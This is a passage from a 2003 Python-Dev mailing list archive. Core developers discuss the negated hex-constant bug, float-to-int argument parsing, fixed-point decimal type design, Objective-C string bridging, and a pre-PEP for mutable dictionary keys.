constitute advocating something you should do.


Regards,

Zooko

http://zooko.com/

[1] $ find . -iname '*.py' | xargs cat | sort -u | wc -l
    27784
    $ find . -iname '*.c' | xargs cat | sort -u | wc -l
    1081
    $ find . -iname '*.cpp' | xargs cat | sort -u | wc -l
    838

[2] http://mnet.sf.net/



From guido@python.org  Wed Feb  5 19:05:01 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 14:05:01 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
Message-ID: <200302051905.h15J51C29854@odiug.zope.com>

There's a problem with certain negated hex/oct constants.  (If you're
in a hurry, skip to --- CONCLUSION --- below.)

The problem is with hex/oct constants that fit in a C unsigned long
but would be negative when seen as a C signed long.  Examples on
32-bit systems are 0x80000000 through 0xffffffff and 020000000000
through 037777777777.

Up to and including Python 2.3, these constants are considered to be
negative ints, for example:

  >>> 0x80000000
  -2147483648
  >>> 0xffffffff
  -1
  >>> 020000000000
  -2147483648
  >>> 037777777777
  -1
  >>> 

But now watch what happens when you put a minus sign in front of
these:

  Python 2.1:

  >>> 0xffffffff
  -1
  >>> -0xffffffff
  1
  >>>

  Python 2.2:

  >>> 0xffffffff
  -1
  >>> -0xffffffff
  -4294967295L                          <<<-------- !!!
  >>> 

  Python2.3:

  >>> 0xffffffff
  <stdin>:1: FutureWarning: hex/oct constants > sys.maxint will return positive values in Python 2.4 and up
  -1
  >>> -0xffffffff
  -4294967295L                          <<<-------- !!!
  >>> 

  Python 2.4:

  >>> 0xffffffff
  4294967295
  >>> -0xffffffff
  -4294967295
  >>>

(I made the latter one up, but that's what I predict based on PEP
237.)

The cases that bother me are -0xffffffff in Python 2.2 and 2.3: this
is an unintended side effect of a peephole optimization!!!

It's quite unsettling:

  >>> x = 0xffffffff
  >>> x
  -1
  >>> -x
  1
  >>> -(0xffffffff)
  1
  >>> -0xffffffff 
  -4294967295L                          <<<<-------- !!!
  >>> 

The reason is that the bytecode compiler recognizes a minus sign
followed (possibly with intervening whitespace, but no other tokens)
by a numeric literal, and spits out code to store the already-negated
value in the const array and then loads the negated value, rather than
loading the original constant from the const array and negating it.

But the negated value is computed by tacking a minus sign character in
front of the string value of the literal, and then calling the
text-to-number conversion routine (strtol in this case).  

Thus, the expression 0xffffffff is negative one because it is first
interpreted as an unsigned C long, and then cast to a signed C long
(which just copies the bit pattern).  And the expression -0xffffffff is
negative 4294967295L because strtol can't handle it, so it is given to
PyLong_FromString(), which of course interprets 0xffffffff as 2**32-1,
and then negates it, because of the minus sign.

On the other hand, -(0xffffffff) etc. are loading the constant
0xffffffff, which happens to be -1, and then negating it as a separate
bytecode instruction, resulting in 1.


--- CONCLUSION ---

The bad thing is that this bug is already in all versions of Python
2.2, as well as in Python 2.3a1.

I originally thought that it absolutely had to be fixed, because the
inconsistency between -(0xffffffff) and -0xffffffff is just too bad to
bear.

On the other hand, given that it's already this way in Python 2.2, and
will be again in Python 2.4, maybe we should leave it this way?  I
find it almost cute that you can spell negative constants with an
explicit minus sign.  (It's even correct in the sense that it doesn't
issue a warning!)

Opinions?  Am I crazy?  It seems too late to use the time machine --
OTOH I could claim that this is *already* caused by time machine usage
from the Python 2.4 era.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bac@OCF.Berkeley.EDU  Wed Feb  5 20:57:00 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Wed, 5 Feb 2003 12:57:00 -0800 (PST)
Subject: [Python-Dev] New syntax threads -- summary wanted
In-Reply-To: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>
References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.SOL.4.53.0302051254240.28658@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> I am asking everyone who has participated in the thread(s) about new
> syntax (with, thunks, etc.) to hold off posting for a day, and think
> about summarizing the state of the discussion.  Then if someone could
> post a summary of the various proposals on the table, with the key
> arguments pro and con for each, I'd like to start continuing.  The
> goal at this point should be one or more PEPs.  If you would like to
> volunteer to (co-)author a thread summary, please post to the list.
> The first volunteer to post gets to coordinate the others.
>

A PEP for the 'with' statement is being worked on as we speak by Paul and
Michael (they are holding off for the discussion to die down and to
possibly get more references).  Have not heard of anyone doing a PEP for
thunks nor the [] syntax.

And no, I am not volunteering to lead this summary.  Dealing with the rest
of the list is enough to keep me swamped as of late.

-Brett


From pete@shinners.org  Wed Feb  5 20:43:02 2003
From: pete@shinners.org (Pete Shinners)
Date: Wed, 05 Feb 2003 12:43:02 -0800
Subject: [Python-Dev] Re: Passing floats to "i" parser marker
Message-ID: <3E417756.3020205@shinners.org>

i've got a couple observations for this change to ParseTuple.

for my personal extension code, i actually benefit from the features of 
automatic float-to-int conversion. if this is going to change i'll 
indeed be updating my libraries. unfortunately it seems to workaround 
this requires a lot of extra code. simple parsing must now become a set 
of blocks and cases. (no error handling in these examples...)
     PyArg_ParseTuple("is", &x, &text);
becomes
     PyArg_ParseTuple("os", &objx, &text);
     if((tmp=PyNumber_Int(objx))
     {
         x = PyInt_AsLong(tmp);
         Py_DECREF(tmp);
     }

naturally i'll be reducing that block to some function i can call, but 
it adds an extra step of typechecking and error reporting for each 
integer argument in my function. I'd really prefer a method to get the 
current behavior, perhaps "I" in the format string would be a logical 
choice?


in the same context, i'm wondering if the "s" formatting should change 
also? currently you can pass unicode or string objects and they get 
properly converted. i use so little of unicode my input may be totally 
invalid, but it seems float->int is approximate to unicode->string ?
i'm not sure what (if anything) should be done about this, but didn't 
see it mentioned in the thread.


lastly, as a contrived example. to insert an item in the middle of a 
list is pretty simple,
     mylist.insert(len(mylist)/2, myval)
with the new integer division, this would pass a float into an integer 
argment(?). just food for thought, wondering what the expected behaviour 
of this would be?


my coming from a C background makes this float to int conversion pretty 
natural to my mind. but i can see how that doesn't always make it a good 
idea. sorry if my post is not desired, it's my first to python-dev, but 
i've been lurking for a few weeks.




From tim.one@comcast.net  Wed Feb  5 18:07:05 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 13:07:05 -0500
Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes
 existing applications to fail
In-Reply-To: <15937.20759.986835.762701@grendel.zope.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEGKEMAA.tim.one@comcast.net>

[Fred L. Drake, Jr.]
> Why would creating new style classes create cycles?  The links between
> a type and derived types use weak references, which do not rely on the
> cycle GC support.

>>> def f():
...    class C(object):
...       pass
...
[9589 refs]
>>> f()
[9611 refs]
>>> f()
[9632 refs]
>>> f()
[9653 refs]
>>> f()
[9674 refs]
>>> f()
[9695 refs]
>>> f()
[9716 refs]
>>> f()
[9737 refs]
>>> f()
[9758 refs]
>>> import gc
[9900 refs]
>>> gc.collect()
48
[9742 refs]
>>>

Take it from there, but don't forget to come for air once an hour <wink>.


From barry@python.org  Wed Feb  5 21:10:45 2003
From: barry@python.org (Barry A. Warsaw)
Date: Wed, 5 Feb 2003 16:10:45 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
References: <200302051905.h15J51C29854@odiug.zope.com>
Message-ID: <15937.32213.2274.292336@gargle.gargle.HOWL>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> The bad thing is that this bug is already in all versions of
    GvR> Python 2.2, as well as in Python 2.3a1.

So how did you find it?  Was a bug report or random noodling?  Was
someone actually bit by it?  I'm curious but I don't have a
recommendation since I'd never write something like this (hex
constants always seem unsigned to me).

-Barry


From guido@python.org  Wed Feb  5 21:27:51 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 16:27:51 -0500
Subject: [Pyobjc-dev] Re: [Python-Dev] Bridging strings from Python to other languages
In-Reply-To: Your message of "Wed, 05 Feb 2003 15:27:53 EST."
 <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com>
References: <4DC75F47-3948-11D7-B750-000393877AE4@codefab.com>
Message-ID: <200302052127.h15LRpi06479@odiug.zope.com>

> On Wednesday, Feb 5, 2003, at 10:52 US/Eastern, Guido van Rossum wrote:
> > In my experience almost no Python code depends on this property, and
> > it seems to be the most problematic one.  So why is this a
> > requirement?

[BBum]
> Because we are using Python to glue together other object oriented 
> frameworks-- Apple's and third party's-- for which we do not have 
> control over said behavior.
> 
> Sometimes an object is just an object and those frameworks insist on 
> the same object-- same identifier/address-- coming out that went in.
> 
> As Just pointed out, my original example wasn't as clear as it could 
> have been.   If a String object comes out of the alien-to-python world 
> and is later sent from python back into the alien-to-python runtime, 
> the same String object-- the same id()-- must be sent back.

Ah.  I still don't know what you call "alien" and what you call
"native".  But I think that I understood your original example as
going the other direction (Python -> ObjC -> Python) while the issue
really is ObjC -> Python -> ObjC.

> > If you can live with only using Unicode strings (even when all they
> > contain is ASCII or Latin-1 values), I think subclassing Unicode might
> > be the way to go.
> 
> Right.  I believe that is the path will we go down.
> 
> > I don't have time to dig deeper into this.  But if you think a small
> > change to Python can make life easier for you, I expect we'll be happy
> > to implement it, as long as it doesn't make life harder for Python
> > developers.
> 
> I can think of a couple of changes to Python that would be potentially 
> quite helpful in this situation.
> 
> Specifically:
> 
>      - ability to have weak references to string objects [and unicode 
> objects].   Since we can make arbitrary object associations and 
> re-associations when crossing the bridge between environments, I 
> believe weakref would allow us to maintain a reference map as long as 
> we could grab the 'string is now going away' callback to update the 
> weakref map when the string is deallocated

Would you be okay with only weak refs to unicode objects?

Either way, you have to start by submitting a patch (referring to this
thread).

>      - ability to subclass string objects or the ability to add a hunk 
> of data-- the reference to the 'alien' string object-- to any string 
> object.

You can do that in C, if you know how.  The trick is to set
tp_itemsize to 4 bytes extra, and then index from the end (rounding
down).  See how _PyObject_GetDictPtr() works when the dict offset is
negative (in practice it will always be -4).

> Either one would work equally as well... whether or not they are easy 
> to do, I have not a clue.

Who knows.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From ping@zesty.ca  Wed Feb  5 20:19:59 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Wed, 5 Feb 2003 14:19:59 -0600 (CST)
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMEFHEMAA.tim.one@comcast.net>
Message-ID: <Pine.LNX.4.33.0302051345270.12110-100000@server1.lfw.org>

On Wed, 5 Feb 2003, Tim Peters wrote:
> > 2.  Turn 'precision' into a read-only attribute.  To set precision,
> >     just make a new number with decimal(x, new_precision).
>
> The existing set_precision() name still seems fine, though.  It's not
> necessarily a "new" precision; set_precision says what it means.

Methods named "set-whatever" are typically understood to change a
component of something.  If this must be done with a method, the method
should be called something like "with_scale(x)" instead of "set_scale(x)".

But i think the method is unnecessary -- the constructor already
provides a perfectly good way to make a new number with an altered
precision, so why provide a second way to do the same thing?  There
should be OOWTDI.

> > 3.  But don't call it 'precision'.  The word 'precision' usually
> >     means either the total number of significant digits, or the
> >     least significant distinguishable unit.  What we're talking
> >     about (number of digits after the decimal point) is neither.
> >     I believe the correct term is 'scale' (from SQL).  See also
> >     http://www2.hursley.ibm.com/decimal/.
>
> Opposed.  Users had no trouble understanding what precision means in this
> context (the module has been in use for a few years).

That's not an argument that 'precision' is the right name.  That's
just a claim that we can confuse people into believing that 'precision'
is not so bad.

'precision' is simply the *wrong word*.  Using it would create confusion.
Let's use the correct word while we have the option to do so.

    pre-ci-sion, n.
        1. The state or quality of being precise; exactness.
        2. a. The ability of a measurement to be consistently reproduced.
           b. The number of significant digits to which a value has been
              reliably measured.

    -- The American Heritage Dictionary, 4th Edition.

In the context of floating-point numbers, which i think is likely
the most common context for programmers to encounter this word,
'precision' refers to significant digits.  And in the context of SQL,
which will probably be familiar to a significant part of this type's
target audience, 'precision' also refers to significant digits.  The
attribute we're talking about represents something *completely different*.

> "no public methods" is a non-goal to me.
[...and later...]
> Please drop this one -- "no methods" remains a non-goal.  Strings didn't
> have methods either, now use of string methods is ubiquitous, and Guido
> approved of adding methods to numbers too years ago (but nobody ever got
> around to adding some; e.g., long.numbits()).

Sorry, i didn't express myself very well.  I'm not arguing for "zero
methods just for the sake of zero methods".  My position is "no unnecessary
methods".  Actually it's "no unnecessary anything" -- the overall idea
is to make the type as minimal as possible.  If we can get away with
few methods, or no methods at all, so much the better.

For example, i'm arguing against a set_precision/set_scale/with_scale
method on the grounds of TOOWTDI, not because i have a particular
dislike for all methods.

> > and just one attribute -- hence the least possible burden on a
> > future version of Python, if this type eventually becomes built-in.
> > (And the least possible burden is a good goal in general anyway.)
>
> I hope that an implementation of Mike Cowlishaw's nascent standard gets that
> honor instead.

Sure.  We should still aim for minimality though.

> > 6.  No global mutable state.  That means no global settings for
> >     default precision or rounding mode.  Either pick a standard
> >     precision or always require the second constructor argument.
> >     Rounding mode is a tougher problem; i see two solutions:
> >
> >     (a) Eliminate variable rounding; always round half to even.
>
> Too unrealistic to consider -- a slew of silly rounding modes is a
> requirement for commercial use.

Okay, granted.

> >     (b) Set rounding function as an attribute of the number.
>
> Bleech.

Can you, er, elaborate?

And, can we reduce the issue to the rounding mode?  Can we agree on
no global mutable default precision, at least?  The cost is minimal,
and the introduction of a commonly-mutated default would be dangerous
and expensive in the long run.

> Tough luck.  Practicality beats purity here:  the pure solution is to pass a
> "numeric context" object to each operation, which some implementations
> actually require.  The resulting source code is tedious and unreadable.  The
> practical alternative is what you live with every day in FP arithmetic, yet
> don't even notice:

I don't notice it only because i don't ever care to change the rounding
mode.  If i did try, i'd be in trouble.  Same with the decimal fixed-point
type: if no one wants to change the rounding mode, no one notices.

I'm assuming we both believe that people will want to adjust rounding
modes more often with fixed-point than with floating-point.  The question
is what happens to people who do mess with such things.  Should such
people find interoperability impossible, or merely tedious?  In such a
dilemma, i'm arguing for tedious.

I feel pretty hard-line about the default precision, but i may be willing
to concede the rounding issue if you have a good story for interoperability.


-- ?!ng



From guido@python.org  Wed Feb  5 21:36:03 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 16:36:03 -0500
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
In-Reply-To: Your message of "Wed, 05 Feb 2003 16:10:45 EST."
 <15937.32213.2274.292336@gargle.gargle.HOWL>
References: <200302051905.h15J51C29854@odiug.zope.com>
 <15937.32213.2274.292336@gargle.gargle.HOWL>
Message-ID: <200302052136.h15La3W06575@odiug.zope.com>

> >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
> 
>     GvR> The bad thing is that this bug is already in all versions of
>     GvR> Python 2.2, as well as in Python 2.3a1.
> 
> So how did you find it?  Was a bug report or random noodling?  Was
> someone actually bit by it?  I'm curious but I don't have a
> recommendation since I'd never write something like this (hex
> constants always seem unsigned to me).
> 
> -Barry

I don't recall how I found it -- I think someone mentioned it to me.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Feb  5 21:45:08 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 16:45:08 -0500
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.33.0302051345270.12110-100000@server1.lfw.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCEHPEMAA.tim.one@comcast.net>

[Ka-Ping Yee]
> Methods named "set-whatever" are typically understood to change a
> component of something.  If this must be done with a method, the method
> should be called something like "with_scale(x)" instead of
"set_scale(x)".\

I still like set_precision().  You ignore that this module has happy
users -- I know that the current names make sense to them.  I don't know
that abstract arguments will.

> But i think the method is unnecessary -- the constructor already
> provides a perfectly good way to make a new number with an altered
> precision, so why provide a second way to do the same thing?  There
> should be OOWTDI.

It's a dedicated method for a common case.  I doubt many (if any) current
module users realize that precision can be changed via the constructor, and
doing it that way seems strained even to me.  Presumably you would be
happier then if the constructor lost this ability.

> ...
> That's not an argument that 'precision' is the right name.  That's
> just a claim that we can confuse people into believing that 'precision'
> is not so bad.

I don't care whether it's "right", I only care that it's proven itself to
work in practce.

> ...
> The attribute we're talking about represents something *completely
> different*.

As I said before, existing users have had no problems with this.


>>>     (b) Set rounding function as an attribute of the number.

>> Bleech.

> Can you, er, elaborate?

Desired rounding is a function of the operand(s) and the operation they're
combined with.  The idea that there's a "round to even" 4.1 and a "add a
half and chop" 4.1 is simply bizarre.  It would make *some* kind of sense to
say there are "round to even" and "add a half and chop" flavors of the
addition operator, but then that multiplies too.  Real apps overwhelmingly
want "round to even" on every operation over some stretch, or overwhelmingly
want "add a half and chop" rounding on every operation over some stretch.

> And, can we reduce the issue to the rounding mode?  Can we agree on
> no global mutable default precision, at least?

FixedPoint never had global mutable default precision, and I don't believe
Doug added it.  The default precision is 2, period.  Cowlishaw's proposal
has other kinds of "input state", though.

> ...
> I'm assuming we both believe that people will want to adjust rounding
> modes more often with fixed-point than with floating-point.

I don't, at least not in a problematic sense.  A commerical app has to
adhere to financial rounding rules that, like time zone rules, are often
more informed by arbitrary political foolishness than sense.  I expect the
typical case is for an app to set the rounding mode once at its start, and
never change it again.

> The question is what happens to people who do mess with such things.
> Should such people find interoperability impossible, or merely tedious?

Tedious, surprising, and error-prone, but easy and pleasant for most people
most of the time.

> ...
> I feel pretty hard-line about the default precision, but i may be willing
> to concede the rounding issue if you have a good story for
interoperability.

There isn't a "default precision issue" that I can see, unless you object to
the current default of 2; if "interoperability" is a real issue I expect
that one of the module's users might have mentioned it by now <wink>.



From guido@python.org  Wed Feb  5 21:48:56 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 16:48:56 -0500
Subject: [Python-Dev] Re: Passing floats to "i" parser marker
In-Reply-To: Your message of "Wed, 05 Feb 2003 12:43:02 PST."
 <3E417756.3020205@shinners.org>
References: <3E417756.3020205@shinners.org>
Message-ID: <200302052149.h15Lmud06756@odiug.zope.com>

> for my personal extension code, i actually benefit from the features
> of automatic float-to-int conversion.

Can you explain the situation more?  What's your application?  Where
do the floats come from?

> in the same context, i'm wondering if the "s" formatting should change 
> also? currently you can pass unicode or string objects and they get 
> properly converted. i use so little of unicode my input may be totally 
> invalid, but it seems float->int is approximate to unicode->string ?

No, when the unicode->string conversion would lose information, an
exception is raised.

> lastly, as a contrived example. to insert an item in the middle of a 
> list is pretty simple,
>      mylist.insert(len(mylist)/2, myval)
> with the new integer division, this would pass a float into an integer 
> argment(?). just food for thought, wondering what the expected behaviour 
> of this would be?

You should be writing len(mylist)//2.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From just@letterror.com  Wed Feb  5 22:21:20 2003
From: just@letterror.com (Just van Rossum)
Date: Wed,  5 Feb 2003 23:21:20 +0100
Subject: [Python-Dev] Re: Passing floats to "i" parser marker
In-Reply-To: <200302052149.h15Lmud06756@odiug.zope.com>
Message-ID: <r01050400-1023-29A1AB4A395811D7B33C003065D5E7E4@[10.0.0.23]>

Guido van Rossum wrote:

> > for my personal extension code, i actually benefit from the features
> > of automatic float-to-int conversion.
> 
> Can you explain the situation more?  What's your application?  Where
> do the floats come from?

I think one of the reasons the exception got rolled back to a warning
was a comment on the bug by Jack. He mentioned the MacPython IDE (for
which I'm mostly to blame) in which there are lots of calls to Mac
toolbox functions that take geometric values (coordinates, rectangles)
where the units are pixels. There are plenty of cases where the
intermediates for these values have to be floats and it's simply darned
convenient they are chopped to ints. I'm not saying this is good in
_general_, it's just an example of (properly!) working code that is out
there. It's quite a shift to make sure we feed these calls with ints as
often the values are part of tuples (to represent coordinates or
rectangles).

(Jack, here is an idea: why don't we change these Point and Rect
converters to take floats, and do the downcasting in C? Perhaps this is
less work than fixing all Python code. It would actually be quite
appropriate for these calls.)

Just


From pete@shinners.org  Wed Feb  5 22:37:39 2003
From: pete@shinners.org (Pete Shinners)
Date: Wed, 05 Feb 2003 14:37:39 -0800
Subject: [Python-Dev] Re: Passing floats to "i" parser marker
In-Reply-To: <r01050400-1023-29A1AB4A395811D7B33C003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-29A1AB4A395811D7B33C003065D5E7E4@[10.0.0.23]>
Message-ID: <3E419233.9030606@shinners.org>

Just van Rossum wrote:
 > ...
> which I'm mostly to blame) in which there are lots of calls to Mac
> toolbox functions that take geometric values (coordinates, rectangles)
> where the units are pixels. There are plenty of cases where the
> intermediates for these values have to be floats and it's simply darned
> convenient they are chopped to ints. I'm not saying this is good in
> ...

coincidentally, this is nearly the same reason i am using the automatic 
truncation. converting arbitrary object positions into 'pixel' 
positions. it is convenient to not worry about your coordinate types, 
just passing them in and getting 'the right thing'.

assuming the current behavior is 'the right thing', which is the issue 
in question. i am not opposed to the stricter handling of integer 
arguments, but cannot see any similar alternatives to what we have now.




From guido@python.org  Wed Feb  5 22:44:45 2003
From: guido@python.org (Guido van Rossum)
Date: Wed, 05 Feb 2003 17:44:45 -0500
Subject: [Python-Dev] Re: Passing floats to "i" parser marker
In-Reply-To: Your message of "Wed, 05 Feb 2003 14:37:39 PST."
 <3E419233.9030606@shinners.org>
References: <r01050400-1023-29A1AB4A395811D7B33C003065D5E7E4@[10.0.0.23]>
 <3E419233.9030606@shinners.org>
Message-ID: <200302052244.h15Mij914288@odiug.zope.com>

> Just van Rossum wrote:
> > ...
> > which I'm mostly to blame) in which there are lots of calls to Mac
> > toolbox functions that take geometric values (coordinates, rectangles)
> > where the units are pixels. There are plenty of cases where the
> > intermediates for these values have to be floats and it's simply darned
> > convenient they are chopped to ints. I'm not saying this is good in
> > ...

[Pete Shinners]
> coincidentally, this is nearly the same reason i am using the automatic 
> truncation. converting arbitrary object positions into 'pixel' 
> positions. it is convenient to not worry about your coordinate types, 
> just passing them in and getting 'the right thing'.
> 
> assuming the current behavior is 'the right thing', which is the issue 
> in question. i am not opposed to the stricter handling of integer 
> arguments, but cannot see any similar alternatives to what we have now.

I still believe that pixels are an unusual use case (and maybe the
only use case where the "accidental" current behavior is useful rather
than detrimental).  I'd be glad to add an alternative PyArg_* code
that truncates floats.

Hm, I also still owe a code (codes?) that don't range check.  Also to
a Mac developers.  What is the Mac's secret?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bac@OCF.Berkeley.EDU  Wed Feb  5 23:09:35 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Wed, 5 Feb 2003 15:09:35 -0800 (PST)
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <15937.11484.904527.8482@gargle.gargle.HOWL>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com>
 <15937.11484.904527.8482@gargle.gargle.HOWL>
Message-ID: <Pine.SOL.4.53.0302051504230.11747@death.OCF.Berkeley.EDU>

[Barry A. Warsaw]

>
> >>>>> "GvR" == Guido van Rossum <guido@python.org> writes:
>
>     GvR> There's also the tension between making the language simpler
>     GvR> (to learn) and making programs simpler (to read).  For
>     GvR> example, *if* (and that's still a very big if) we were to add
>     GvR> a language feature that would let you write
>
>     |     synchronized(lock):
>     |         BLOCK
>
>     GvR> instead of
>
>     |     lock.aqcuire()
>     |     try:
>     |         BLOCK
>     |     finally:
>     |         lock.release()
>
> The real problem is that the second example isn't even correct, if you
> want to be totally anal about it. ;)  You really need an atomic
> operation to acquire the lock and enter the try block, which the
> second example doesn't give you.  It's a narrow window of failure but
> it exists, and you have to decide whether you care.  So the first
> example doesn't /just/ improve readability, it improves correctness
> too (assuming it is also atomic).
>

What about having keywords that denote that something be executed as
atomic?  I assume the issue is being in the middle of executing bytecode
and then switching threads in the middle of the bytecode for the method
execution.  Would it be reasonable (and feasible) to implement some way to
shut down thread switching in the interpreter and thus guarantee that
something gets fully executed before allowing thread switching (I am
thinking of something along the lines of a lock that keeps track of the
number of thread switching shutdown calls and then turns back on switching
when the counter hits back down to 0).

Or am I missing something critical and thus I should just shut up?  =)

-Brett


From just@letterror.com  Wed Feb  5 23:54:26 2003
From: just@letterror.com (Just van Rossum)
Date: Thu,  6 Feb 2003 00:54:26 +0100
Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries
Message-ID: <r01050400-1023-2B11A7CA396511D7B33C003065D5E7E4@[10.0.0.23]>

Here's a quick pre-PEP.


Allow mutable objects as dictionary keys in certain cases by adding a
new protocol. dict.__setitem__() and __contains__() would work like this
bit of pseudo code:

  def __setitem__(self, key, value):
      if not hashable(key):
          if hasattr(key, "__immutable_copy__"):
              key = key.__immutable_copy__()
          else:
              raise TypeError, "unhashable key"
      ...insert value with key into dict...

  def __contains__(self, key):
      if not hashable(key):
          if hasattr(key, "__temporary_immutable__"):
              key = key.__temporary_immutable__()
          else:
              raise TypeError, "unhashable key"
      ...test for key membership...

  (other methods would be similar)

When implemented in C in dictobject.c, this would add no overhead for
the "normal" case (when keys _are_ directly hashable).

The __temporary_immutable__ part of the protocol is needed to avoid
unneccesary copying in those cases where the key isn't actually inserted
into the dict, but is only used for membership testing. It would return
a wrapper around the mutable object, defining __eq__ and __hash__. (This
idea is stolen from the sets.py module.) If an implementer doesn't care
about this efficiency, __temporary_immutable__ can be an alias to
__immutable_copy__.


Use Cases:

- sets.py could be written more efficiently and/or could be more easily
  be rewritten in C.

- Again, the troubles of bridging Python to Objective-C have triggered
  this idea. Due to the nature of Objective-C in general, and Cocoa in
  particular, we can never be sure beforehand whether a string is
  mutable or not. We can detect mutability at runtime, but depending on
  this is dangerous as it exposes an implementation detail that may
  change between releases of _any_ API that returns strings. Therefore
  code that works in one setup may break in another, or even in the the
  same setup after an arbitrary library upgrade, simply because an API
  suddenly returns a mutable string where it didn't before. Yes this
  sucks, but it's the way it is. <Add link to post from bbum explaining
  this situation in detail>


Backwards compatibilty:

100%.


Overhead added

None


Implementation

There's quite a bit of code duplication in those areas of dictobject.c
that matter for this proposal, so implementing it will take longer than
the 10 minutes I originally estimated <wink>. Perhaps this is a good
opportunity to refactor these bits into inline functions? Not being a C
guru I can't judge whether this is possible or desirable with the set of
compilers that Python must be built with.


Just


From whisper@oz.net  Thu Feb  6 00:29:42 2003
From: whisper@oz.net (David LeBlanc)
Date: Wed, 5 Feb 2003 16:29:42 -0800
Subject: [Python-Dev] FixedPoint and % specifiers.
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHCEHPEMAA.tim.one@comcast.net>
Message-ID: <GCEDKONBLEFPPADDJCOEGEBMHOAA.whisper@oz.net>

Displaying FixedPoints:

Python 2.2.1 (#34, Jul 16 2002, 16:25:42) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
Alternative ReadLine 1.5 -- Copyright 2001, Chris Gonnerman
>>> from fixedpoint import *
>>> a = FixedPoint(2.135)
>>> print '%d' % (a)
2
>>> print '%4d' % (a)
   2
>>> print '%e' % (a)
2.130000e+000
>>> print '%f' % (a)
2.130000
>>> print '%2f' % (a)
2.130000
>>> print '%.2d' % (a)
02
>>> print '%s' % (a)
2.13
>>> a.set_precision(4)
>>> print '%s' % (a)
2.1300

I naively expected the %d to produce 2.315 - and it would be nice, after the
manner of C, to be able to specify the precision (or scale if you prefer) of
the output as I attempted in '%.2d' and also (not shown) '%2.2d'. This might
need some work since %<num>d is a field filler spec. It would be nice if
given 2.135:
	%d  2			- int part
	%2d __2 		- filled int part (_'s represent spaces)
	%.2d 2.13 		- ?rounded? to two places
	%2.2d __2.13	- filled and ?rounded? to 2 places
	%2.5d __2.13500	- filled and zero extended
	%.3d 2.135 		- etc.
If rounding vs. truncation is done for a 'short' (less than actual
precision) specifier , then string formatting needs to know something about
FixedPoints IMO. Displaying a frac part would require extraction and use of
'd' as in a normal int.

The '%s' output just looks suspicious, especially after setting the
precision to 4! The '%s' smells of bug to me, although I see the code forces
the initializer value to round to DEFAULT_PRECISION if a precision isn't
given ("you lost my work!"). IMO the precision of the initializer should
become the precision of the value and not the default if a (seems redundant
to me) precision isn't given.

David LeBlanc
Seattle, WA USA

N.B: this needs to be added to the distro (assuming it lives in
lib/site_packages/fixedpoint?):
#__init__.py
----------------------------
# FixedPoint
from fixedpoint import *



From tdelaney@avaya.com  Thu Feb  6 00:42:20 2003
From: tdelaney@avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 6 Feb 2003 11:42:20 +1100
Subject: [Python-Dev] Negated hex/oct constants (SF #660455)
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE19657F@au3010avexu1.global.avaya.com>

> From: Guido van Rossum [mailto:guido@python.org]
>=20
> It's quite unsettling:
>=20
>   >>> x =3D 0xffffffff
>   >>> x
>   -1
>   >>> -x
>   1
>   >>> -(0xffffffff)
>   1
>   >>> -0xffffffff=20
>   -4294967295L                          <<<<-------- !!!
>   >>>=20

This is my main concern - that there is an inconsistency between =
-(0xffffffff) and -0xffffffff.

I think whatever is decided, this inconsistency should be fixed for 2.3 =
(and possibly back-ported to 2.2).

So we end up with either

    0xffffffff =3D=3D -1
    -0xffffffff =3D=3D 1

or

    0xffffffff =3D=3D 4294967295L
    -0xffffffff =3D=3D -4294967295L

and 0xffffffff is going to stay as -1 until 2.4 ...

Tim Delaney


From tim.one@comcast.net  Thu Feb  6 00:40:55 2003
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 05 Feb 2003 19:40:55 -0500
Subject: [Python-Dev] Fixed-point numeric type
In-Reply-To: <Pine.LNX.4.44.0302050716050.1211-100000@penguin.theopalgroup.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEBPDMAB.tim.one@comcast.net>

[Kevin Jacobs]
> I'm finding that this is a problem in education, not desire.  Once you
> educate developers, they will demand decimal types.  Unfortunately, I've
> found that many db developers are completely ignorant of the
> caveats of both fixed and floating point arithmetic.  They naively "just
